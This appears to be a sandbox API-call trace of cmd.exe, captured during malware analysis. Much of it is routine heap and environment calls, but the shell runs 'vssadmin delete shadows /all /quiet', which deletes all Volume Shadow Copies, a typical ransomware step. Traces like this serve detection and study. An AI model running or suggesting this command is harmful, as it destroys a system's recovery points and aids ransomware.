	[0170.180] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0170.180] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0170.180] ??_V@YAXPEAX@Z () returned 0x1
	[0170.180] GetProcessHeap () returned 0x21a42450000
	[0170.181] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xffde) returned 0x21a42458e90
	[0170.182] GetProcessHeap () returned 0x21a42450000
	[0170.182] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x5a) returned 0x21a424577c0
	[0170.182] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0170.182] malloc (_Size=0xffce) returned 0x21a42650820
	[0170.182] ??_V@YAXPEAX@Z () returned 0x21a42650820
	[0170.182] GetProcessHeap () returned 0x21a42450000
	[0170.182] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x1ffac) returned 0x21a4246aac0
	[0170.184] SetErrorMode (uMode=0x0) returned 0x0
	[0170.184] SetErrorMode (uMode=0x1) returned 0x0
	[0170.184] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21a4246aad0, lpFilePart=0xd72279f2e0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xd72279f2e0*="system32") returned 0x13
	[0170.184] SetErrorMode (uMode=0x0) returned 0x1
	[0170.184] GetProcessHeap () returned 0x21a42450000
	[0170.184] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a4246aac0, Size=0x4a) returned 0x21a4246aac0
	[0170.184] GetProcessHeap () returned 0x21a42450000
	[0170.184] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a4246aac0) returned 0x4a
	[0170.184] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0170.184] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0170.184] GetProcessHeap () returned 0x21a42450000
	[0170.184] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x1b6) returned 0x21a42457830
	[0170.185] GetProcessHeap () returned 0x21a42450000
	[0170.185] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x35c) returned 0x21a42468e80
	[0170.185] GetProcessHeap () returned 0x21a42450000
	[0170.185] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a42468e80, Size=0x1b8) returned 0x21a42468e80
	[0170.185] GetProcessHeap () returned 0x21a42450000
	[0170.185] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a42468e80) returned 0x1b8
	[0170.185] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0170.185] GetProcessHeap () returned 0x21a42450000
	[0170.185] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xe8) returned 0x21a42469050
	[0170.185] GetProcessHeap () returned 0x21a42450000
	[0170.185] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a42469050, Size=0x7e) returned 0x21a42469050
	[0170.185] GetProcessHeap () returned 0x21a42450000
	[0170.185] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a42469050) returned 0x7e
	[0170.185] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0170.185] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xd72279f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xd72279f050) returned 0x21a424690e0
	[0170.185] FindClose (in: hFindFile=0x21a424690e0 | out: hFindFile=0x21a424690e0) returned 1
	[0170.185] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xd72279f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xd72279f050) returned 0xffffffffffffffff
	[0170.185] GetLastError () returned 0x2
	[0170.185] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xd72279f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xd72279f050) returned 0x21a424690e0
	[0170.185] FindClose (in: hFindFile=0x21a424690e0 | out: hFindFile=0x21a424690e0) returned 1
	[0170.186] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0170.186] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0170.186] ??_V@YAXPEAX@Z () returned 0x1
	[0170.186] GetConsoleTitleW (in: lpConsoleTitle=0xd72279f5d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0170.258] GetProcessHeap () returned 0x21a42450000
	[0170.258] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x21c) returned 0x21a424515f0
	[0170.259] GetConsoleTitleW (in: lpConsoleTitle=0x21a42451600, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0170.344] GetProcessHeap () returned 0x21a42450000
	[0170.344] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a424515f0, Size=0xa4) returned 0x21a424515f0
	[0170.348] GetProcessHeap () returned 0x21a42450000
	[0170.348] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a424515f0) returned 0xa4
	[0170.348] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0170.485] GetProcessHeap () returned 0x21a42450000
	[0170.485] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424515f0) returned 1
	[0170.485] InitializeProcThreadAttributeList (in: lpAttributeList=0xd72279f4f0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xd72279f3e0 | out: lpAttributeList=0xd72279f4f0, lpSize=0xd72279f3e0) returned 1
	[0170.485] UpdateProcThreadAttribute (in: lpAttributeList=0xd72279f4f0, dwFlags=0x0, Attribute=0x60001, lpValue=0xd72279f3cc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xd72279f4f0, lpPreviousValue=0x0) returned 1
	[0170.485] GetStartupInfoW (in: lpStartupInfo=0xd72279f480 | out: lpStartupInfo=0xd72279f480*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0170.485] GetProcessHeap () returned 0x21a42450000
	[0170.485] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x20) returned 0x21a42457630
	[0170.485] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0170.485] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0170.486] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0170.487] GetProcessHeap () returned 0x21a42450000
	[0170.487] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42457630) returned 1
	[0170.487] GetProcessHeap () returned 0x21a42450000
	[0170.487] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x12) returned 0x21a424579f0
	[0170.487] _get_osfhandle (_FileHandle=1) returned 0x254
	[0170.487] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0170.487] _get_osfhandle (_FileHandle=0) returned 0x248
	[0170.487] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0170.487] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xd72279f410*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xd72279f3e8 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0xd72279f3e8*(hProcess=0x98, hThread=0x9c, dwProcessId=0xe1c, dwThreadId=0xe20)) returned 1
	[0170.506] CloseHandle (hObject=0x9c) returned 1
	[0170.507] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0170.507] GetProcessHeap () returned 0x21a42450000
	[0170.507] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42469f90) returned 1
	[0170.507] GetEnvironmentStringsW () returned 0x21a42469460*
	[0170.507] GetProcessHeap () returned 0x21a42450000
	[0170.507] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb24) returned 0x21a42469f90
	[0170.507] FreeEnvironmentStringsA (penv="=") returned 1
	[0170.507] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xd72279e8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xd72279e8e8, ReturnLength=0x0) returned 0x0
	[0170.507] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x54e3ea4000, lpBuffer=0xd72279e920, nSize=0x7a0, lpNumberOfBytesRead=0xd72279e8e0 | out: lpBuffer=0xd72279e920*, lpNumberOfBytesRead=0xd72279e8e0*=0x7a0) returned 1
	[0170.507] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0178.791] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xd72279f368 | out: lpExitCode=0xd72279f368*=0x2) returned 1
	[0178.791] CloseHandle (hObject=0x98) returned 1
	[0178.791] _vsnwprintf (in: _Buffer=0xd72279f538, _BufferCount=0x13, _Format="%08X", _ArgList=0xd72279f378 | out: _Buffer="00000002") returned 8
	[0178.791] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0178.791] GetProcessHeap () returned 0x21a42450000
	[0178.791] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42469f90) returned 1
	[0178.791] GetEnvironmentStringsW () returned 0x21a42469460*
	[0178.792] GetProcessHeap () returned 0x21a42450000
	[0178.792] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb24) returned 0x21a42469f90
	[0178.792] FreeEnvironmentStringsA (penv="=") returned 1
	[0178.792] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0178.792] GetProcessHeap () returned 0x21a42450000
	[0178.792] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42469f90) returned 1
	[0178.792] GetEnvironmentStringsW () returned 0x21a42469460*
	[0178.792] GetProcessHeap () returned 0x21a42450000
	[0178.792] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb24) returned 0x21a42469f90
	[0178.792] FreeEnvironmentStringsA (penv="=") returned 1
	[0178.792] GetProcessHeap () returned 0x21a42450000
	[0178.792] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424579f0) returned 1
	[0178.792] DeleteProcThreadAttributeList (in: lpAttributeList=0xd72279f4f0 | out: lpAttributeList=0xd72279f4f0) 
	[0178.792] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0179.403] ??_V@YAXPEAX@Z () returned 0x1
	[0179.403] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.403] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0179.403] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.403] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff640c9fc08 | out: lpMode=0x7ff640c9fc08) returned 0
	[0179.403] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.403] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff640c9fc0c | out: lpMode=0x7ff640c9fc0c) returned 0
	[0179.403] GetConsoleOutputCP () returned 0x4e3
	[0179.552] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0179.552] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0179.658] GetProcessHeap () returned 0x21a42450000
	[0179.658] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42469050) returned 1
	[0179.658] GetProcessHeap () returned 0x21a42450000
	[0179.658] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42468e80) returned 1
	[0179.658] GetProcessHeap () returned 0x21a42450000
	[0179.658] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42457830) returned 1
	[0179.658] GetProcessHeap () returned 0x21a42450000
	[0179.659] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a4246aac0) returned 1
	[0179.659] GetProcessHeap () returned 0x21a42450000
	[0179.659] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424577c0) returned 1
	[0179.659] GetProcessHeap () returned 0x21a42450000
	[0179.659] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42458e90) returned 1
	[0179.659] GetProcessHeap () returned 0x21a42450000
	[0179.659] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424575e0) returned 1
	[0179.659] GetProcessHeap () returned 0x21a42450000
	[0179.659] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42456490) returned 1
	[0179.659] GetProcessHeap () returned 0x21a42450000
	[0179.659] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42457340) returned 1
	[0179.659] _vsnwprintf (in: _Buffer=0x7ff640ca7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xd72279f918 | out: _Buffer="\r\n") returned 2
	[0179.659] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.659] GetFileType (hFile=0x254) returned 0x3
	[0179.659] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.659] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0179.660] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xd72279f8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279f8e8*=0x2, lpOverlapped=0x0) returned 1
	[0179.660] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0179.660] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a42620080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0179.660] _vsnwprintf (in: _Buffer=0x21a42630060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xd72279f928 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0179.660] _vsnwprintf (in: _Buffer=0x21a42630086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xd72279f928 | out: _Buffer=">") returned 1
	[0179.660] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.660] GetFileType (hFile=0x254) returned 0x3
	[0179.660] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.660] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0179.660] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xd72279f918, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279f918*=0x14, lpOverlapped=0x0) returned 1
	[0179.660] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.660] GetFileType (hFile=0x248) returned 0x3
	[0179.660] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.660] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.661] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0179.661] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1
	[0179.661] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.661] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.661] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0179.661] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1
	[0179.661] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.661] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.661] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0179.661] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1
	[0179.661] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.661] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.661] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0179.661] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1
	[0179.661] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.661] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.661] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0179.661] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1
	[0179.661] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.661] GetFileType (hFile=0x248) returned 0x3
	[0179.661] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.662] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.662] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.662] GetFileType (hFile=0x254) returned 0x3
	[0179.662] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.662] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6
	[0179.662] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xd72279fc18, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279fc18*=0x5, lpOverlapped=0x0) returned 1
	[0179.662] GetProcessHeap () returned 0x21a42450000
	[0179.662] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x4012) returned 0x21a42458e90
	[0179.662] GetProcessHeap () returned 0x21a42450000
	[0179.662] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42458e90) returned 1
	[0179.663] _wcsicmp (_String1="Exit", _String2=")") returned 60
	[0179.663] _wcsicmp (_String1="FOR", _String2="Exit") returned 1
	[0179.663] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1
	[0179.663] _wcsicmp (_String1="IF", _String2="Exit") returned 4
	[0179.663] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4
	[0179.663] _wcsicmp (_String1="REM", _String2="Exit") returned 13
	[0179.663] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13
	[0179.663] GetProcessHeap () returned 0x21a42450000
	[0179.663] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb0) returned 0x21a42457340
	[0179.663] GetProcessHeap () returned 0x21a42450000
	[0179.663] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x1a) returned 0x21a42456490
	[0179.663] GetConsoleOutputCP () returned 0x4e3
	[0179.737] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0179.737] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0179.808] GetConsoleTitleW (in: lpConsoleTitle=0xd72279fa60, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0180.120] malloc (_Size=0xffce) returned 0x21a42640840
	[0180.120] ??_V@YAXPEAX@Z () returned 0x21a42640840
	[0180.121] malloc (_Size=0xffce) returned 0x21a42650820
	[0180.121] ??_V@YAXPEAX@Z () returned 0x21a42650820
	[0180.121] _wcsicmp (_String1="Exit", _String2="DIR") returned 1
	[0180.121] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6
	[0180.121] _wcsicmp (_String1="Exit", _String2="DEL") returned 1
	[0180.121] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15
